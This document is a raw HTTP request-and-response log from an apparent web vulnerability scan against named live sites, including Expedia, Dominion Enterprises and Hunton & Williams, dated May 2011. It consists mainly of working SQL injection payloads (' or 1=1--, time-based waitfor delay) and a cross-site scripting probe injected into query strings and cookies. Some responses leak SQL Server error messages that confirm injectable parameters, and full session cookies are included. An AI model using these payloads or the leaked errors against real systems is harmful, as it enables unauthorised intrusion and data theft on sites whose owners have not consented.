   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

GET /main/do/For_Businesses16640137'%20or%201%3d2--%20 HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/Advertiser_Agreement
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725152629:ss=1304725152629; s_nr=1304725175943; s_lv=1304725175944; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:37:58 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:37:58 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html

GET /main/do/businesses48717636'%20or%201%3d1--%20/id/13/category/For%20Businesses HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:38:52 GMT
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:38:52 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Type: text/html
Content-Length: 32718

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>
<head>
<title>Dominion Enterprises | Home</title>
       <base href="http://www.dominionenterprises.com/" />
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="description" content="Home">
   <meta name="keywords" content="Home">
   <meta name="copyright" content="Dominion Enterprises">
   <meta name="resource-type" content="document">
   <meta name="distribution" content="global">
   <meta name="author" content="">
   <meta name="robots" content="index, follow">
   <meta name="revisit-after" content="1 days">
   <meta name="rating" content="general">

<script language="javascript" type="text/javascript">
var IsIPad = false;
function QueryStringIsRequestFromMobile(DirectToFullSite) {
Queries = window.location.search.substring(1);
if (Queries == "" || Queries == null) {
return false;
}
else {
QueryArray = Queries.split("&");
for (i = 0; i < QueryArray.length; i++) {
QueryValue = QueryArray[i].split("=");
if (QueryValue[0] == DirectToFullSite) {
if (QueryValue[1] == "fs24lmj09")
return true;
else
return false;
}
else
return false;
}
}
}
function IsMobileRedirection() {
var agent = navigator.userAgent.toLowerCase();
var IsMobile = false;
if ((agent.indexOf('absinthe') != -1) ||
(agent.indexOf('albacore') !
...[SNIP]...

GET /main/do/businesses48717636'%20or%201%3d2--%20/id/13/category/For%20Businesses HTTP/1.1
Host: www.dominionenterprises.com
Proxy-Connection: keep-alive
Referer: http://www.dominionenterprises.com/main/do/For_Businesses
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1307317138614%26vn%3D1; s_ria=flash%2010%7Csilverlight%204.0; PHPSESSID=6fd5a07363603c0a3f4685bb1fb4e9b2; TSa27990=d77c9a2ab2f3f328d9ee79ee1dcd6b0b3a05433071c0aed34dc4432a9c5eca8583c4cdbd; WT_FPC=id=227919100c685f30f311304725152629:lv=1304725177227:ss=1304725152629; s_nr=1304725179971; s_lv=1304725179971; s_lv_s=First%20Visit; s_invisit=true; s_cc=true; s_sq=%5B%5BB%5D%5D

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 19:38:52 GMT
Server: Apache/2.0.59 (Unix) DAV/2 PHP/4.4.2
X-Powered-By: PHP/4.4.2
Pragma: no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Fri, 06 May 2011 19:38:52 GMT
Cache-Control: no-store, must-revalidate
Cache-Control: post-check=-1, pre-check=-1
Content-Length: 0
Content-Type: text/html

POST /daily/common/moreinfo.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
Origin: http://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0
Content-Length: 1023

BundleType=1&WT=Home&bFfstAB=&bFfstDefault=&bFfst=&FCity=Austin%2C+TX+%28AUS-Austin-Bergstrom+International+Airport%29&FTLA=AUS&TCity=Detroit%2C+MI+%28DTW-Wayne+County%29&TTLA=DTW&TCityId=&FDate=mm%2F
...[SNIP]...
rigName=&LsFlightDestTLA=&LsFlightDestName=&LsHotel=&LsAtlas=&LsAtlasRegionId=&LsFOverride=&LsTOverride=&taIndex=&taText=&taType=&taOn=1&srch=flt&typ=1&flx=on&fct=AUS&tct=DTW&mon=4-2011&trl=0%2C1%2C1089842498'%20or%201%3d1--%20&rad1=1&rse1=0&rch1=0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 23:21:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX011D32290D$F4$B5202000$AE$28$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$CC$DD$EE$F5$E8$8C$9E$94$82$AB$89$FB!e02000`137; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819541`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 77907


<style type="text/css">

.intchk {width: 100%; font-size: 16px; font-weight: bold; color:#C60;}
.intchk ul{list-style-type: none; padding: 0; margin-left: 1em;}
.
...[SNIP]...
<COMMENT ID=ERROR_TEXT TITLE="[MR43]: 37000 (200110): [Microsoft][ODBC SQL Server Driver][SQL Server]SP: FareCacheFareGetDepartureDateR. Parameter is invalid. Parameter: NightStayNbrMax; value: 0.">
...[SNIP]...

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=1061613067%20or%201%3d1--%20&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:39:25 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX01CA76DEA0$F4$B5202000A$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$C1$25$EEzK$21l$5F$82$AB$89$FB!e02000`129; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819499`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 76383


<style type="text/css">

.intchk {width: 100%; font-size: 16px; font-weight: bold; color:#C60;}
.intchk ul{list-style-type: none; padding: 0; margin-left: 1em;}
.
...[SNIP]...
<COMMENT ID=ERROR_TEXT TITLE="[MR43]: 37000 (8114): [Microsoft][ODBC SQL Server Driver][SQL Server]Error converting data type numeric to tinyint.">
...[SNIP]...

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=112520755%20or%201%3d1--%20&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:39:02 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX01CA76DEA0$F4$B5202000A$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$C1$25$EEzK$21l$5F$82$AB$89$FB!e02000`129; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819499`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 77852


<style type="text/css">

.intchk {width: 100%; font-size: 16px; font-weight: bold; color:#C60;}
.intchk ul{list-style-type: none; padding: 0; margin-left: 1em;}
.
...[SNIP]...
<COMMENT ID=ERROR_TEXT TITLE="[MR32]: 37000 (8114): [Microsoft][ODBC SQL Server Driver][SQL Server]Error converting data type int to tinyint.">
...[SNIP]...

GET /pubspec/scripts/eap.asp?GOTO=FLEXFLTSEARCH&Load=1&FrAirport=AUS&ToAirport=DTW&Month=5/1/2011&TripLength=0,1,1011976288'%20or%201%3d1--%20&NumAdult=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:38:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX01EA6AFBE3$F4$B5202000$5E$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$1B$81$B1$2Bb$A0$C7K$82$AB$89$FB!e02000`133; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819499`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 77907


<style type="text/css">

.intchk {width: 100%; font-size: 16px; font-weight: bold; color:#C60;}
.intchk ul{list-style-type: none; padding: 0; margin-left: 1em;}
.
...[SNIP]...
<COMMENT ID=ERROR_TEXT TITLE="[MR09]: 37000 (200110): [Microsoft][ODBC SQL Server Driver][SQL Server]SP: FareCacheFareGetDepartureDateR. Parameter is invalid. Parameter: NightStayNbrMax; value: 0.">
...[SNIP]...

GET /FCWSite/Img/ntpagetag/ntpagetag.gif?js=1&ts=1304742445101.846&lc=http%3A%2F%2Fwww.hunton.com%2Fprofessionals%2FuniGC.aspx%3FxpST%3DProfessionalSearch&rf=http%3A%2F%2Fwww.hunton.com%2Faboutus%2FuniGC.aspx%3FxpST%3DAboutUs&rs=1920x1200&cd=16&ln=en&tz=GMT%20-05%3A00&jv=1&h1content=Webpage&h1lang=English%20(United%20States)&h1pagetitle=Professionals%20%7C%20Hunton%20%26%20Williams%20LLP&h1subcontent=None HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalSearch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw')waitfor%20delay'0%3a0%3a20'--; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.4.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1846; PortletId=5983402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 404 Not Found
Date: Sat, 07 May 2011 01:31:45 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=0; path=/
Set-Cookie: PortletId=0; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: ZoneId=0; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 888

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<html>
<head><title>
404
</title></head>
<body MS_POSITIONING="FlowLayout">

<form name="Form1" method="post" acti
...[SNIP]...

GET /FCWSite/Img/ntpagetag/ntpagetag.gif?js=1',0)waitfor%20delay'0%3a0%3a20'--&ts=1304742418094.778&lc=http%3A%2F%2Fwww.hunton.com%2Fnews%2FuniGC.aspx%3FxpST%3DPENSearch&rf=http%3A%2F%2Fwww.hunton.com%2F&rs=1920x1200&cd=16&ln=en&tz=GMT%20-05%3A00&jv=1&h1content=Webpage&h1lang=English%20(United%20States)&h1pagetitle=News%20%26%20Events%20%7C%20Hunton%20%26%20Williams%20LLP&h1subcontent=None&h1websection=news HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/news/uniGC.aspx?xpST=PENSearch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.1.10.1304742363; sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; DefaultCulture=en-US; Mode=1; EventingStatus=1; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; NavId=1857; PortletId=5994402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 404 Not Found
Date: Fri, 06 May 2011 23:51:21 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=0; path=/
Set-Cookie: PortletId=0; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: ZoneId=0; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 890

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<html>
<head><title>
404
</title></head>
<body MS_POSITIONING="FlowLayout">

<form name="Form1" method="post" acti
...[SNIP]...

GET /FCWSite/Img/ntpagetag/ntpagetag.gif?js=1&ts=1304742738624.440&lc=http%3A%2F%2Fwww.hunton.com%2Fnews%2FuniGC.aspx%3FxpST%3DPENSearch%26nsextt%3D%2527%253E%253Cscript%253Enetsparker(9)%253C%2Fscript%253E&rs=1920x1200&cd=16&ln=en&tz=GMT%20-05%3A00&jv=1,0)waitfor%20delay'0%3a0%3a20'--&h1content=Webpage&h1lang=English%20(United%20States)&h1pagetitle=News%20%26%20Events%20%7C%20Hunton%20%26%20Williams%20LLP&h1subcontent=None&h1websection=news HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/news/uniGC.aspx?xpST=PENSearch&nsextt=%27%3E%3Cscript%3Enetsparker(9)%3C/script%3E
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.9.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1849; PortletId=5986402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 404 Not Found
Date: Sat, 07 May 2011 00:53:50 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=0; path=/
Set-Cookie: PortletId=0; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: ZoneId=0; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 921

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >

<html>
<head><title>
404
</title></head>
<body MS_POSITIONING="FlowLayout">

<form name="Form1" method="post" acti
...[SNIP]...

GET /aboutus/uniGC.aspx?xpST=AboutUs HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/news/uniGC.aspx?xpST=PENSearch
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
